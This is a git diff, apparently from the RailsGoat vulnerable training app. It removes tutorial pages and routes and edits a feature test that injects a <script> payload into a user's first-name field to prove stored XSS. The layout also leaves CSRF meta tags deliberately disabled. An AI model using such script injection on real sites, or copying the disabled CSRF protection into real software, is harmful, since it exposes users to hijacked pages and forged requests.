<%= stylesheet_link_tag "application", :media => "all" %>
|
||||
<%= javascript_include_tag "application" %>
|
||||
<%#= csrf_meta_tags %> <!-- <~ What is this for? I hear it helps w/ JS and Sea-surfing.....whatevz -->
|
||||
<!--[if lte IE 7]>
|
||||
<script src="assets/fonts/lte-ie7.js">
|
||||
</script>
|
||||
<![endif]-->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<%= render "layouts/tutorial/header" %>
|
||||
<%= render "layouts/tutorial/sidebar" %>
|
||||
|
||||
<div class="container-fluid">
|
||||
<div class="dashboard-wrapper">
|
||||
<%= yield %>
|
||||
</div>
|
||||
</div>
|
||||
<%= render "layouts/shared/footer" %>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/access_control/access_control_first" %>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="access_control"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,32 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/user_pass_enum")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/password_complexity")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/insecure_compare")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/broken_auth_sess/httponly_flag")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="broken_auth"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<%= render :partial => "layouts/tutorial/csrf/csrf_first"%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="csrf"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,30 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Beginning of span-->
|
||||
<%= render :partial => "layouts/tutorial/exposure/password_hashing" %>
|
||||
</div> <!-- End of span-->
|
||||
</div>
|
||||
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => "layouts/tutorial/exposure/ssn" %>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => "layouts/tutorial/exposure/model_attributes_exposure" %>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="exposure"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,36 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Gauntlet
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<p class="desc">
|
||||
Gauntlt is a tool used for unit testing leveraging third-party tools. We've baked this into Railsgoat so that you can play with it. <br/><br/> To learn more about this tool, please visit their site at: <%= link_to "Gauntlet Github Repository", "https://github.com/gauntlt/gauntlt", {:style =>"color: rgb(181, 121, 158);"} %></p>
|
||||
<p class="desc">
|
||||
All *.attack files are contained under the gauntlt_scripts directory. We have provided a simple.attack file that demonstrates the tool works. If errors occur, please submit a bug through our github powered issue tracking system.
|
||||
</p>
|
||||
<p class="desc">
|
||||
To run this tool type this via the command line: <br/><br/>$ gauntlt
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
function openSub(){
|
||||
$('li[id="gauntlt"]').addClass('active');
|
||||
$('li[id="submenu"]').addClass('active open');
|
||||
};
|
||||
|
||||
$(document).ready(openSub);
|
||||
|
||||
</script>
|
||||
@@ -1,28 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span6">
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Using Guard with Brakeman and Bundle-Audit
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<iframe src="http://player.vimeo.com/video/63901340" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
function openSub(){
|
||||
$('li[id="guard"]').addClass('active');
|
||||
$('li[id="submenu"]').addClass('active open');
|
||||
};
|
||||
|
||||
$(document).ready(openSub);
|
||||
|
||||
</script>
|
||||
@@ -1,88 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<h1> Welcome to RailsGoat </h1>
|
||||
<h3> Tutorial Guide </h3>
|
||||
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 1 - Choose your path
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div class="thumbnail">
|
||||
<div class="caption">
|
||||
<h3>
|
||||
Get Started
|
||||
</h3>
|
||||
<p class="desc">
|
||||
Choose your path! Go directly into reading each tutorial or begin attacking the application to practice identifying weaknesses. <br/>You can then cross reference your findings with the findings listed under the tutorials section.
|
||||
</p>
|
||||
</div>
|
||||
<hr/>
|
||||
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-1.png")%> />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 2 - Using the application
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div class="thumbnail">
|
||||
<div class="caption">
|
||||
<h3>
|
||||
Using the application
|
||||
</h3>
|
||||
<p class="desc">
|
||||
Each tutorial offers 4 parts:
|
||||
<li style="margin-left: 20px">Description</li>
|
||||
<li style="margin-left: 20px">Bug</li>
|
||||
<li style="margin-left: 20px">Solution</li>
|
||||
<li style="margin-left: 20px">Hint</li><br/>
|
||||
These titles are fairly self-explanatory but <b>BEWARE</b>, the solution section gives away how to solve or attack that particular vulnerability instance!
|
||||
</p>
|
||||
</div>
|
||||
<hr/>
|
||||
<img alt="800x400" style="width: 800px; height: 400px;" src=<%= image_path("step-2.png")%> />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Step 3 - Attack
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div class="thumbnail">
|
||||
<div class="caption">
|
||||
<h1 align="center">
|
||||
HACK!
|
||||
</h1>
|
||||
<p class="desc">
|
||||
|
||||
</p>
|
||||
</div>
|
||||
<hr/>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="tutorials_home"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,27 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<%= render :partial => "layouts/tutorial/injection/injection_first"%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<%= render :partial => "layouts/tutorial/injection/sqli_scope"%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<%= render :partial => "layouts/tutorial/injection/injection_command"%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="injection"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/insecure_components/insecure_components_first" %>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="insecure_components"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/insecure_dor/insecure_dor_first" %>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="insecure_dor"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,24 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/logic_flaws/broken_regexp")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/logic_flaws/insecure_crypto_reuse")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="logic_flaws"]').addClass('active');
|
||||
$('li[id="submenu"]').addClass('active open');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,18 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/mass_assignment/admin_mass_assign")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="mass_assignment"]').addClass('active');
|
||||
$('li[id="submenu"]').addClass('active open');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,23 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%= render :partial => ("layouts/tutorial/metaprogramming/benefit_forms_constantize")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12">
|
||||
<%#= render :partial => ("layouts/tutorial/metaprogramming/send")%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="metaprogramming"]').addClass('active');
|
||||
$('li[id="submenu"]').addClass('active open');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,22 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<%= render :partial => "layouts/tutorial/misconfig/misconfig_first"%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12-->
|
||||
<%= render :partial => "layouts/tutorial/misconfig/misconfig_second"%>
|
||||
</div> <!-- End Span12-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="misconfig"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/redirects/redirects_first"%>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="redirects"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/ssl_tls/ssl_tls_first" %>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="ssl_tls"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,17 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/url_access/url_access_first" %>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="url_access"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -1,22 +0,0 @@
|
||||
<div class="dashboard-wrapper">
|
||||
<div class="main-container">
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/xss/xss_first"%>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
<div class="row-fluid">
|
||||
<div class="span12"> <!-- Begin Span12 -->
|
||||
<%= render :partial => "layouts/tutorial/xss/dom_xss"%>
|
||||
</div> <!-- End Span12 -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function makeActive(){
|
||||
$('li[id="xss"]').addClass('active');
|
||||
};
|
||||
|
||||
$(document).ready(makeActive);
|
||||
</script>
|
||||
@@ -49,23 +49,6 @@ Railsgoat::Application.routes.draw do
|
||||
resources :tutorials do
|
||||
collection do
|
||||
get "credentials"
|
||||
get "injection"
|
||||
get "xss"
|
||||
get "broken_auth"
|
||||
get "insecure_dor"
|
||||
get "csrf"
|
||||
get "misconfig"
|
||||
get "exposure"
|
||||
get "url_access"
|
||||
get "insecure_components"
|
||||
get "access_control"
|
||||
get "ssl_tls"
|
||||
get "redirects"
|
||||
get "guard"
|
||||
get "mass_assignment"
|
||||
get "gauntlt"
|
||||
get "logic_flaws"
|
||||
get "metaprogramming"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ feature 'xss' do
|
||||
|
||||
visit "/users/#{@normal_user.user_id}/account_settings"
|
||||
within('#account_edit') do
|
||||
fill_in 'First name', :with => "B<script>$(function() { $('form.button_to input.btn.btn-primary').val('RailsGoat h4x0r3d') } )</script>"
|
||||
fill_in 'First name', :with => "<script>$(function() { $('div input.btn').val('RailsGoat h4x0r3d') } )</script>"
|
||||
|
||||
# password gets screwed up if you don't re-submit - need to fix
|
||||
fill_in 'user_password', :with => @normal_user.clear_password
|
||||
@@ -22,7 +22,7 @@ feature 'xss' do
|
||||
sleep(1)
|
||||
visit '/'
|
||||
|
||||
pending(:if => verifying_fixed?) { find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d' }
|
||||
pending(:if => verifying_fixed?) { find('div input.btn').value.should == 'RailsGoat h4x0r3d' }
|
||||
|
||||
# might be nice to demonstrate posting cookie contents or somesuch, but
|
||||
# this at least shows the vulnerability still exists.
|
||||
|
||||
Reference in New Issue
Block a user